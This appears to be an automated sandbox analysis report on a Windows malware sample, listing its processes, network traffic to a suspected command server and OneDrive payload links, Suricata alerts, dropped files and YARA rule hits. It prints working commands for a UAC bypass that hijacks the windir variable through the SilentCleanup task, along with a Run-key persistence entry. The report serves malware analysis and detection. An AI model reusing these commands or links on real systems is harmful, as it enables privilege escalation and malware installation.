Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | Aug. 19, 2021, 9:39 a.m. | Aug. 19, 2021, 10:02 a.m. |
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
3056 -
reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
1636 -
schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
2052
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
2216
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
twistednerd.dvrlists.com | 62.102.148.152 | |
a2q8ua.sn.files.1drv.com |
CNAME
sn-files.fe.1drv.com
CNAME
l-0003.l-msedge.net
|
13.107.42.12 |
onedrive.live.com |
CNAME
l-0004.l-msedge.net
|
13.107.42.13 |
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 192.168.56.101:49200 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49201 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
TCP 192.168.56.101:49202 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.101:49200 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | CN=onedrive.com | 24:8a:fb:ed:16:0d:11:c8:2f:65:3a:66:ca:f1:6f:60:ad:4c:cc:de |
TLSv1 192.168.56.101:49201 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
TLSv1 192.168.56.101:49202 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
TLS 1.3 192.168.56.101:49204 62.102.148.152:8618 |
None | None | None |
section | .itext |
packer | BobSoft Mini Delphi -> BoB / BobSoft |
resource name | RDTA |
request | GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21124&authkey=AAvFfFUNaaPX5xg |
request | GET https://a2q8ua.sn.files.1drv.com/y4mHv4FC3w4vu3xhBTq24EbcDs_9Ff-44ScNZJQarXQBccz-PruP8ExelHSqV4xuSj1PR_PPwAx83eslXEvSVPGJLAx6jbxr7NiKLVWjGnwSEAmq2CXsMYx6tAOhpM0N3OVm_TRtfBK4MGUWRaG-J5vdfrM8n39Zd-XWT_D5HNE8x7r8KtWZtkxAPGKBZg38Lwz5ZErWoxPxmYyqtRxi0UCYg/Gehnhmunuodizkcuanobbgrymobqird?download&psid=1 |
request | GET https://a2q8ua.sn.files.1drv.com/y4mOQSKY3HPgDKYEXuiiOOPH_9t-Ca0UvsxWDvkH7aAj7bxUE5NIow9fuBaFmI_887wuFZq2k6AIwvtuiX8o9KIpSbJDgwZDGsdHbrqfxj8jwNBYfdzbt8FbH-8WRSR9Ls1NSB1vsywWLgE1mrKIB_6nU-4-b-B30748uy5_cdIKS7LL8B1hpZszZnzhW3gmiUITmMhVByGnEZSQYv5LDwGbQ/Gehnhmunuodizkcuanobbgrymobqird?download&psid=1 |
file | C:\Users\Public\KDECO.bat |
file | C:\Users\Public\UKO.bat |
file | C:\Users\Public\Libraries\Gehnhmu\Gehnhmu.exe |
file | C:\Users\Public\Trast.bat |
file | C:\Users\Public\nest.bat |
cmdline | C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
section | {u'size_of_data': u'0x00023e00', u'virtual_address': u'0x0008b000', u'entropy': 6.861326794775205, u'name': u'.rsrc', u'virtual_size': u'0x00023dc8'} | entropy | 6.86132679478 | description | A section with a high entropy has been found | |||||||||
entropy | 0.216114457831 | description | Overall entropy of this PE file is high |
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread | ||||||
description | (no description) | rule | DebuggerHiding__Active | ||||||
description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
description | (no description) | rule | ThreadControl__Context | ||||||
description | (no description) | rule | SEH__vectored | ||||||
description | (no description) | rule | Check_Dlls | ||||||
description | Checks if being debugged | rule | anti_dbg | ||||||
description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
description | Bypass DEP | rule | disable_dep | ||||||
description | Affect hook table | rule | win_hook | ||||||
description | Communication using DGA | rule | Network_DGA | ||||||
description | Communications use DNS | rule | Network_DNS | ||||||
description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
description | Create a windows service | rule | Create_Service | ||||||
description | Record Audio | rule | Sniff_Audio | ||||||
description | Escalate priviledges | rule | Escalate_priviledges | ||||||
description | Run a KeyLogger | rule | KeyLogger | ||||||
description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
description | Communications over HTTP | rule | Network_HTTP | ||||||
description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
description | Communications over FTP | rule | Network_FTP | ||||||
description | Take ScreenShot | rule | ScreenShot | ||||||
description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
description | Steal credential | rule | local_credential_Steal | ||||||
description | File Downloader | rule | Network_Downloader | ||||||
description | Communications over P2P network | rule | Network_P2P_Win | ||||||
description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
description | (no description) | rule | DebuggerHiding__Thread |
cmdline | reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " |
cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
cmdline | reg delete hkcu\Environment /v windir /f |
cmdline | C:\Program Files (x86)\internet explorer\ieinstal.exe |
buffer | Buffer with sha1: ba7f49455bfbb5175d55a152940f2e4e74f7ecb6 |
reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Gehnhmu | reg_value | C:\Users\Public\Libraries\umhnheG.url |
file | C:\Users\Public\nest.bat |